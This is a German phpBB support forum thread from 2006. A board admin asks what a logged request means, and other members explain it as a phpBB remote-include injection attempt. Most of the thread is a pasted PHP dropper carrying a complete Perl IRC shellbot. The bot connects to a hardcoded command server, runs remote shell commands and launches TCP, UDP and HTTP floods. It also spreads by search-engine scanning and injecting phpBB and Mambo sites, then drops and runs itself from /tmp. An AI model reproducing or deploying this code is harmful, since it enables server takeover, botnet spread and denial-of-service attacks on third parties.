Seite 1 von 2

Eintrag in Cracker Tracker Logdatei?

Verfasst: 30.05.2006 22:53
von Sorro
Hallo Leute,

kann mir sagen, was genau folgender Inhalt der Logdatei im ACP von Cracker Tracker aussagt? Was wurde hier versucht?

Code: Alles auswählen

t=3951&highlight=%2527.$poster=include($_GET[m]).%2527&m=http://weerez.com/thread_aleks?&
Danke und viele Grüße,
Sorro

Verfasst: 30.05.2006 23:20
von fanrpg
Eine automatisierte Botattacke.

Verfasst: 31.05.2006 12:12
von Sorro
Ja danke, aber was sollte diese bezwecken? Geht das daraus hervor?

Verfasst: 31.05.2006 13:06
von Samus Aran
Ich denke mal, dass er versucht hat, im Forum zu posten (Werbung).

Verfasst: 31.05.2006 13:14
von S2B
Nein, er hat versucht, die Variable $poster auf den Rückgabewert des übergebenen Parameters "m" zu ändern ("http://weerez.com/thread_aleks?&").

Verfasst: 31.05.2006 13:14
von Sorro
Mich hat nur das include gestört, denn das heisst für mich als Laien doch, dass er irgendein Script aufrufen wollte oder?

Verfasst: 01.06.2006 11:41
von Pens
ja wollte er!

Wenn du mal der url folgst:

Code: Alles auswählen

<?
// THIS IS PRIVATE SHIT BY ALEKS
// b0tn3t3@hotmail.com

[...]

$check1="al";
$check2="ek";
$check3="s";

$bot="#!/usr/bin/perl

#Shellbot searching by Lycos ;p <<== fuck google :) BY ALEKS
#VERY FAST SPREADING!!!! NO JOKING

#\$runones = `ps x | grep /usr/local/firewall`;
#if (\$runones =~ /firewall/)
#{
#unlink \$0;
#exit(0);
#}

my \$processo = '/usr/local/firewall';
my \$linas_max='5';
my \$sleep='5';
my @adms=(\"Yes\",\"Aleks\");
my @hostauth=(\"phpbb.gov\");
my @canais=(\"#aleks\");
my \$pwned=\"/tmp/aleks_tssshrsss\";
chop (my \$nick = `whoami`);
chop (my \$ircname = `whoami`);
chop (my \$realname = `uname -sr`);
\$servidor='220.228.241.57' unless \$servidor;
my \$porta='8080';

\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';

unlink \$0;
if ((-e \$pwned)) {
exit(0);
}else{
open(FILE,\">\$pwned\") || die \$!;
print FILE \"Aleks g0t pwned u! just wanna say fuck 0X1FE\\r\\n\";
close (FILE);

#Don't fix bug
#fix();
}

use IO::Socket;
use IO::Handle;
use Socket;
use IO::Select;
chdir(\"/\");
\$0=\"\$processo\".\"\\0\"x16;
my \$pid=fork;
exit if \$pid;
die \"Error Not work: \$!\" unless defined(\$pid);

our %irc_servers;

\$sel_cliente = IO::Select->new();
sub sendraw {
  if (\$#_ == '1') {
    my \$socket = \$_[0];
    print \$socket \"\$_[1]\\n\";
  } else {
      print \$IRC_cur_socket \"\$_[0]\\n\";
  }
}

sub conectar {
   my \$meunick = \$_[0];
   my \$servidor_con = \$_[1];
   my \$porta_con = \$_[2];

   my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
   if (defined(\$IRC_socket)) {
     \$IRC_cur_socket = \$IRC_socket;

     \$IRC_socket->autoflush(1);
     \$sel_cliente->add(\$IRC_socket);

     \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
     \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
     \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
     \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
     nick(\"\$meunick\");
     sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
     sleep 1;
   }
}
my \$line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
   delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
   my @ready = \$sel_cliente->can_read(0);
   next unless(@ready);
   foreach \$fh (@ready) {
     \$IRC_cur_socket = \$fh;
     \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
     \$nread = sysread(\$fh, \$msg, 4096);
     if (\$nread == 0) {
        \$sel_cliente->remove(\$fh);
        \$fh->close;
        delete(\$irc_servers{\$fh});
     }
     @lines = split (/\\n/, \$msg);

     for(my \$c=0; \$c<= \$#lines; \$c++) {
       \$line = \$lines[\$c];
       \$line=\$line_temp.\$line if (\$line_temp);
       \$line_temp='';
       \$line =~ s/\\r\$//;
       unless (\$c == \$#lines) {
         parse(\"\$line\");
       } else {
           if (\$#lines == 0) {
             parse(\"\$line\");
           } elsif (\$lines[\$c] =~ /\\r\$/) {
               parse(\"\$line\");
           } elsif (\$line =~ /^(\\S+) NOTICE AUTH :\\*\\*\\*/) {
               parse(\"\$line\");
           } else {
               \$line_temp = \$line;
           }
       }
      }
   }
}
 
sub parse {
   my \$servarg = shift;
   if (\$servarg =~ /^PING \\:(.*)/) {
     sendraw(\"PONG :\$1\");
   } elsif (\$servarg =~ /^\\:(.+?)\\!(.+?)\\@(.+?) PRIVMSG (.+?) \\:(.+)/) {
       my \$pn=\$1; my \$hostmask= \$3; my \$onde = \$4; my \$args = \$5;
       if (\$args =~ /^\\001VERSION\\001\$/) {
         notice(\"\$pn\", \"\\001VERSION mIRC v6.16 Khaled Mardam-Bey\\001\");
       }
       if (grep {\$_ =~ /^\\Q\$hostmask\\E\$/i } @hostauth) {
       if (grep {\$_ =~ /^\\Q\$pn\\E\$/i } @adms) {
         if (\$onde eq \"\$meunick\"){
           shell(\"\$pn\", \"\$args\");
         }
         if (\$args =~ /^(\\Q\$meunick\\E|\\!say)\\s+(.*)/ ) {
            my \$natrix = \$1;
            my \$arg = \$2;
            if (\$arg =~ /^\\!(.*)/) {
              ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!bot\" and \$arg =~ /^\\!nick/);
            } elsif (\$arg =~ /^\\@(.*)/) {
                \$ondep = \$onde;
                \$ondep = \$pn if \$onde eq \$meunick;
                bfunc(\"\$ondep\",\"\$1\");
            } else {
                shell(\"\$onde\", \"\$arg\");
            }
         } 
       }
	}
   } elsif (\$servarg =~ /^\\:(.+?)\\!(.+?)\\@(.+?)\\s+NICK\\s+\\:(\\S+)/i) {
       if (lc(\$1) eq lc(\$meunick)) {
         \$meunick=\$4; 
         \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
       }
   } elsif (\$servarg =~ m/^\\:(.+?)\\s+433/i) {
       nick(\"[\$meunick]-\".int rand(999999));
   } elsif (\$servarg =~ m/^\\:(.+?)\\s+001\\s+(\\S+)\\s/i) {
       \$meunick = \$2;
       \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
       \$irc_servers{\$IRC_cur_socket}{'nome'} = \"\$1\";
       foreach my \$canal (@canais) {
         sendraw(\"JOIN \$canal owned\");
       }
   }
}

sub bfunc {
  my \$printl = \$_[0];
  my \$funcarg = \$_[1];
  if (my \$pid = fork) {
     waitpid(\$pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if (\$funcarg =~ /^portscan (.*)/) {
             my \$hostip=\"\$1\";
             my @portas=(\"21\",\"23\",\"25\",\"80\",\"113\",\"135\",\"445\",\"1025\",\"5000\",\"6660\",\"6661\",\"6662\",\"6663\",\"6665\",\"6666\",\"6667\",\"6668\",\"6669\",\"7000\",\"8080\");
             my (@aberta, %porta_banner);
	     #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[SCAN]\\002 Scanning \".\$1.\" for open ports.\");     
             foreach my \$porta (@portas)  {
                my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
                if (\$scansock) {
                   push (@aberta, \$porta);
                   \$scansock->close;
                }
             }

             if (@aberta) {
               #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[SCAN]\\002 Open port(s): @aberta\");
             } else {
               #sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :\\002[SCAN]\\002 No open ports found\"); 
             }
           }
           if (\$funcarg =~ /^tcpflood\\s+(.*)\\s+(\\d+)\\s+(\\d+)/) {
	     #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[TCP-DDOS]\\002 Attacking \".\$1.\":\".\$2.\" for \".\$3.\" seconds.\");
	     my \$itime = time;
	     my (\$cur_time);
             \$cur_time = time - \$itime;
	     while (\$3>\$cur_time){
             \$cur_time = time - \$itime;
	     &tcpflooder(\"\$1\",\"\$2\",\"\$3\");
             }
	     #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[TCP-DDOS]\\002 Finished with attacking \".\$1.\":\".\$2.\".\");
           }
           if (\$funcarg =~ /^lycos\\s+(\\d+)\\s+(.*)/) {
	     #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[LYCOS-SEARCH]\\002 Scanning for unpatched phpBB for \".\$1.\" seconds.\");
	     srand;
	     my \$itime = time;
	     my (\$cur_time);
	     my (\$exploited);

	     \$boturl=\$2;
             \$cur_time = time - \$itime;
	     \$exploited = 0;
		while(\$1>\$cur_time){
		    \$cur_time = time - \$itime;
		    @urls=fetch1();
		    foreach \$url (@urls) {
			\$cur_time = time - \$itime;
			if (\$url !~ /viewtopic.php/) {next;\$cur_time = time - \$itime;}
			\$url =~ s/(.*\\/viewtopic.php\\?[t|p]=[0-9]+).*/\$1/;
			\$host[0] = \$url;
			if(\$host[0] =~ /\\//){
			(\$host[1],\$host[2])=split(/\\//,\$host[0]);
			}
			#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[EXPLOITING]\\002 \".\$host[1].\".\");
			\$url .=\"&highlight=%2527.\\\$poster=include(\\\$_GET[m]).%2527&m=http://\".\$boturl.\"?&\";
			\$page = http_query(\$url);
			if ( \$page =~ /aleks/ ){
			    \$page = http_query(\$url);
			    \$exploited = \$exploited + 1;
			    #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[0WN3D]\\002 \" .\$url. \".\");
			}
		    }
		}
	     #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[LYCOS-SEARCH]\\002 Exploited \".\$exploited.\" boxes in \".\$1.\" seconds.\");
           }
	if (\$funcarg =~ /^google2\\s+(\\d+)\\s+(.*)/) {
		#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE]\\002 Scanning for unpatched mambo for \".\$1.\" seconds.\");
		srand;
		my \$itime = time;
 		my (\$cur_time);
        	my (\$exploited);

		\$boturl=\$2;
		\$cur_time = time - \$itime;
		\$exploited = 0;
		while(\$1>\$cur_time){
			\$cur_time = time - \$itime;
			@urls=fetch3();
			foreach \$url (@urls) {
			\$cur_time = time - \$itime;
      
			my \$path = \"\";
			my \$file = \"\";
			(\$path, \$file) = \$url =~ /^(.+)\\/(.+)\$/;
		 
			\$url =\$path.\"/language/lang_english/lang_activity.php?phpbb_root_path=http://\".\$boturl.\"?&\";
			#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE]\\002 Exploiting \".\$url);

			\$page = http_query(\$url);
				if ( \$page =~ /aleks/ ){
					\$exploited = \$exploited + 1;
				sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[0WN3D]\\002 \" .\$url. \".\");
				}
        		}
      		}
		#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE]\\002 Exploited \".\$exploited.\" boxes in \".\$1.\" seconds.\");
           }
           if (\$funcarg =~ /^google\\s+(\\d+)\\s+(.*)\\s+(.*)/) {
	     #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE-SEARCH]\\002 Scanning for unpatched phpBB for \".\$1.\" seconds.\");
	     srand;
	     my \$itime = time;
	     my (\$cur_time);
	     my (\$exploited);

	     \$boturl=\$2;
             \$cur_time = time - \$itime;
	     \$exploited = 0;
		while(\$1>\$cur_time){
		    \$cur_time = time - \$itime;
		    @urls=fetch2(\"\$3\");
		    foreach \$url (@urls) {
			\$cur_time = time - \$itime;
			if (\$url !~ /viewtopic.php/) {next;\$cur_time = time - \$itime;}
			\$url =~ s/(.*\\/viewtopic.php\\?[t|p]=[0-9]+).*/\$1/;
			\$host[0] = \$url;
			if(\$host[0] =~ /\\//){
			(\$host[1],\$host[2])=split(/\\//,\$host[0]);
			}
			#sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[EXPLOITING]\\002 \".\$host[1].\".\");
			\$url .=\"&highlight=%2527.\\\$poster=include(\\\$_GET[m]).%2527&m=http://\".\$boturl.\"?&\";
			\$page = http_query(\$url);
			if ( \$page =~ /aleks/ ){
			    \$page = http_query(\$url);
			    \$exploited = \$exploited + 1;
			    sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[0WN3D]\\002 \" .\$url. \".\");
			}
		    }
		}
	     #sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[GOOGLE-SEARCH]\\002 Exploited \".\$exploited.\" boxes in \".\$1.\" seconds.\");
           }
           if (\$funcarg =~ /^httpflood\\s+(.*)\\s+(\\d+)/) {
	     sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[HTTP-DDOS]\\002 Attacking \".\$1.\":80 for \".\$2.\" seconds.\");
	     my \$itime = time;
	     my (\$cur_time);
             \$cur_time = time - \$itime;
	     while (\$2>\$cur_time){
             \$cur_time = time - \$itime;
	     my \$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>\$1, PeerPort=>80);
             print \$socket \"GET / HTTP/1.1\\r\\nAccept: */*\\r\\nHost: \".\$1.\"\\r\\nConnection: Keep-Alive\\r\\n\\r\\n\";
	     close(\$socket);
             }
	     sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[HTTP-DDOS]\\002 Finished with attacking \".\$1.\".\");
           }
           if (\$funcarg =~ /^udpflood\\s+(.*)\\s+(\\d+)\\s+(\\d+)/) {
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[UDP-DDOS]\\002 Attacking \".\$1.\" with \".\$2.\" Kb packets for \".\$3.\" seconds.\");
             my (\$dtime, %pacotes) = udpflooder(\"\$1\", \"\$2\", \"\$3\");
             \$dtime = 1 if \$dtime == 0;
             my %bytes;
             \$bytes{igmp} = \$2 * \$pacotes{igmp};
             \$bytes{icmp} = \$2 * \$pacotes{icmp};
             \$bytes{o} = \$2 * \$pacotes{o};
             \$bytes{udp} = \$2 * \$pacotes{udp};
             \$bytes{tcp} = \$2 * \$pacotes{tcp};
            
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002[UDP-DDOS]\\002 Sended \".int((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024).\" Kb total in \".\$dtime.\" seconds to \".\$1.\".\");

           }
           exit;
       }
  }
}
 
sub ircase {
  my (\$kem, \$printl, \$case) = @_;

  if (\$case =~ /^join (.*)/) {
     j(\"\$1\");
   } 
   if (\$case =~ /^part (.*)/) {
      p(\"\$1\");
   }
   if (\$case =~ /^rejoin\\s+(.*)/) {
      my \$chan = \$1;
      if (\$chan =~ /^(\\d+) (.*)/) {
        for (my \$ca = 1; \$ca <= \$1; \$ca++ ) {
          p(\"\$2\");
          j(\"\$2\");
        }
      } else {
          p(\"\$chan\");
          j(\"\$chan\");
      }
   }
   if (\$case =~ /^op/) {
      op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
      my \$oarg = substr(\$case, 3);
      op(\"\$1\", \"\$2\") if (\$oarg =~ /(\\S+)\\s+(\\S+)/);
   }
   if (\$case =~ /^deop/) {
      deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
      my \$oarg = substr(\$case, 5);
      deop(\"\$1\", \"\$2\") if (\$oarg =~ /(\\S+)\\s+(\\S+)/);
   }
   if (\$case =~ /^msg\\s+(\\S+) (.*)/) {
      msg(\"\$1\", \"\$2\");
   }
   if (\$case =~ /^flood\\s+(\\d+)\\s+(\\S+) (.*)/) {
      for (my \$cf = 1; \$cf <= \$1; \$cf++) {
        msg(\"\$2\", \"\$3\");
      }
   }
   if (\$case =~ /^ctcp\\s+(\\S+) (.*)/) {
      ctcp(\"\$1\", \"\$2\");
   }
   if (\$case =~ /^ctcpflood\\s+(\\d+)\\s+(\\S+) (.*)/) {
      for (my \$cf = 1; \$cf <= \$1; \$cf++) {
        ctcp(\"\$2\", \"\$3\");
      }
   }
   if (\$case =~ /^nick (.*)/) {
      nick(\"\$1\");
   }
   if (\$case =~ /^connect\\s+(\\S+)\\s+(\\S+)/) {
       conectar(\"\$2\", \"\$1\", 6667);
   }
   if (\$case =~ /^raw (.*)/) {
      sendraw(\"\$1\");
   }
   if (\$case =~ /^eval (.*)/) {
     eval \"\$1\";
   }
}

sub shell {
  my \$printl=\$_[0];
  my \$comando=\$_[1];
  if (\$comando =~ /cd (.*)/) {
    chdir(\"\$1\") || msg(\"\$printl\", \"No such file or directory\");
    return;
  } 
  elsif (\$pid = fork) {
     waitpid(\$pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`\$comando 2>&1 3>&1`;
           my \$c=0;
           foreach my \$linha (@resp) {
             \$c++;
             chop \$linha;
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
             if (\$c == \"\$linas_max\") {
               \$c=0;
               sleep \$sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my \$itime = time;
 my (\$cur_time);
 my (\$ia,\$pa,\$proto,\$j,\$l,\$t);
 \$ia=inet_aton(\$_[0]);
 \$pa=sockaddr_in(\$_[1],\$ia);
 \$ftime=\$_[2];
 \$proto=getprotobyname('tcp');
 \$j=0;\$l=0;
 \$cur_time = time - \$itime;
 while (\$l<1000){
  \$cur_time = time - \$itime;
  last if \$cur_time >= \$ftime;
  \$t=\"SOCK\$l\";
  socket(\$t,PF_INET,SOCK_STREAM,\$proto);
  connect(\$t,\$pa)||\$j--;
  \$j++;\$l++;
 }
 \$l=0;
 while (\$l<1000){
  \$cur_time = time - \$itime;
  last if \$cur_time >= \$ftime;
  \$t=\"SOCK\$l\";
  shutdown(\$t,2);
  \$l++;
 }
}

sub udpflooder {
  my \$iaddr = inet_aton(\$_[0]);
  my \$msg = 'A' x \$_[1];
  my \$ftime = \$_[2];
  my \$cp = 0;
  my (%pacotes);
  \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
  
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
  return(undef) if \$cp == 4;
  my \$itime = time;
  my (\$cur_time);
  while ( 1 ) {
     for (my \$porta = 1; \$porta <= 65000; \$porta++) {
       \$cur_time = time - \$itime;
       last if \$cur_time >= \$ftime;
       send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
       send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
       send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
       send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;

       for (my \$pc = 3; \$pc <= 255;\$pc++) {
         next if \$pc == 6;
         \$cur_time = time - \$itime;
         last if \$cur_time >= \$ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
         send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;
       }
     }
     last if \$cur_time >= \$ftime;
  }
  return(\$cur_time, %pacotes);
}

sub ctcp {
   return unless \$#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
   return unless \$#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}  
sub notice {
   return unless \$#_ == 1;
   sendraw(\"NOTICE \$_[0] :\$_[1]\");
}
sub op {
   return unless \$#_ == 1;
   sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
   return unless \$#_ == 1;
   sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub j { &join(@_); }
sub join {
   return unless \$#_ == 0;
   sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {
  sendraw(\"PART \$_[0]\");
}
sub nick {
  return unless \$#_ == 0;
  sendraw(\"NICK \$_[0]\");
}
sub quit {
  sendraw(\"QUIT :\$_[0]\");
}

#Spreader

sub fetch1(){
    my \$rnd=(int(rand(20)));

    my @str=(\"viewtopic.php%3Ftopic%3D\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.1%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.2%22\", 
	     \"viewtopic.php%3Ft%3D\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.4%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.5%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.6%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.7%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.8%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.9%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB+2.0.10%22\", 
	     \"viewtopic.php++%22Powered+By+phpBB%22+\");

    my \$query=\"zoek.lycos.nl/cgi-bin/pursuit?pag=\$rnd&query=\";
    \$query.=\$str[(rand(scalar(@str)))];
    \$query.=\"+-modules&cat=web&idx=all&nlang=any&family=off\";
    \$query.=\"&n_domain=phpbb.com&na=1&SITE=nl&enc=utf-8&xargs=\";
    \$query.=\"maxhits=30&nightsurf=no\";

    my @lst=();
    my \$page = http_query(\$query);
    while (\$page =~  m/class=\"result\" href=\\\"?http:\\/\\/([^>\\\"]+)\\\"?>/g){
	if (\$1 !~ m/lycos/){
	    push (@lst,\$1);
	}
    }
    return (@lst);
}

sub fetch2(){
    my \$rnd=(int(rand(9999)));
    my \$n= 50;
    my \$str=\$_[0];
    if (\$rnd<5000) { \$n<<=1;}
    my \$s= (int(rand(10)) * \$n);

    my \$query=\"www.google.nl/search?q=\";
    \$query.=\$str.\$rnd;
    \$query.=\"&num=\$n&hl=en&lr=&start=\$s&sa=N\";

    my @lst=();
    my \$page = http_query(\$query);
    while (\$page =~  m/<a class=l href=\\\"?http:\\/\\/([^>\\\"]+)\\\"?>/g){
	if (\$1 !~ m/google|cache|translate/){
	    push (@lst,\$1);
	}
    }
    return (@lst);
}

sub fetch3(){
    my \$rnd=(int(rand(9999)));
    my \$n= 50;
    if (\$rnd<5000) { \$n<<=1;}
    my \$s= (int(rand(10)) * \$n);

my @str=(\"inurl:%22activity.php%22\",
\"%22%C2%A9+Activity+Mod+Plus%22\");

    my \$query=\"www.google.nl/search?q=\";
    \$query.=\$str[(rand(scalar(@str)))];
    \$query.=\"&num=\$n&hl=en&lr=&start=\$s&sa=N\";
    my @lst=();
    my \$page = http_query(\$query);
   
    while (\$page =~  m/<a class=l href=\\\"?http:\\/\\/([^>\\\"]+)\\\"?>/g){
   if (\$1 !~ m/google|cache|translate/){
       push (@lst,\$1);
   }
    }
    return (@lst);
}

sub http_query(\$){
    my (\$url) = @_;
    my \$host=\$url;
    my \$query=\$url;
    my \$page=\"\";
    \$host =~ s/href=\\\"?http:\\/\\///;
    \$host =~ s/([-a-zA-Z0-9\\.]+)\\/.*/\$1/;
    \$query =~s/\$host//;
    if (\$query eq \"\") {\$query=\"/\";};
    eval {
	local \$SIG{ALRM} = sub { die \"1\";};
	alarm 10;
	my \$sock = IO::Socket::INET->new(PeerAddr=>\"\$host\",PeerPort=>\"80\",Proto=>\"tcp\") or return;
	print \$sock \"GET \$query HTTP/1.0\\r\\nReferer: http://www.google.nl/\\r\\nHost: \$host\\r\\nAccept: */*\\r\\nUser-Agent: Mozilla/4.0 (modded by Aleks 2006)\\r\\nCookie: lyc_search_pref=a%3A3%3A%7Bs%3A9%3A%22lang_pref%22%3Bs%3A3%3A%22any%22%3Bs%3A6%3A%22family%22%3Bs%3A5%3A%22false%22%3Bs%3A7%3A%22maxhits%22%3Bs%3A2%3A%2230%22%3B%7D\\r\\n\\r\\n\";
	my @r = <\$sock>;
	\$page=\"@r\";
	alarm 0;
	close(\$sock);
    };    
    return \$page;

}

sub fix(){
my @in=`find / -name  \"viewtopic.php\" 2>/dev/null`;
foreach my \$f (@in){
    chop \$f;
    my \$newvt=\"\";
    if (open FIX,\"<\$f\") {
	while (<FIX>){
	    \$newvt.=\$_;
	}
	close FIX;
	\$newvt =~ s/urldecode//;
	if (open FIX,\">\$f\"){
	    print FIX \$newvt;
	    close FIX;
	}
    }
}
}";

$fp = fopen("/tmp/thread_aleks", "w");
fwrite($fp, $bot);
fclose($fp);

if(file_exists("/tmp/thread_aleks")) {
passthru("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
shell_exec("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
system("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
exec("cd /tmp;perl thread_aleks>/dev/null;echo ".$check1.$check2.$check3." pwned!;rm -rf thread_aleks*");
//Aleks OWNZ YOU
}
?>
Den gleichen Eintrag hatte ich auch vo kurzem...
Könnte man nicht gegen die hoster was machen?.. die URL hat man ja...

http://weerez.com/news/

wenn das Script nicht hier stehen soll, dann bitte einfach löschen!

Verfasst: 01.06.2006 13:43
von md5()
Pens schau mal hier:
Eine PHP-Datei zum Download bereitstellen

Das gild auch für dich, es ist schon nerfig wenn man immer ewig scrollen muss nur weil jemand eine ganze php datei in einen beitrag schiebt.

Verfasst: 01.06.2006 15:39
von Sorro
Und wie hätte dieses Skript sich ausgewirkt, wenn es geklappt hätte?

... wie gesagt, bin in Sachen PHP nicht sehr fit!

Verfasst: 01.06.2006 16:04
von S2B
Es hätte ein Perl-Script in den temporären Ordner deines Servers gespeichert und es von dort ausgeführt - mit ein bisschen Pech hätte die Serverkonfiguration das sogar erlaubt. Dann hätte das sich Perl-Script an ein paar Modulen deines Servers zu schaffen gemacht und soweit ich das sehe etwas an phpBB's verändert (evtl. Nachrichten und Links anzeigen etc.).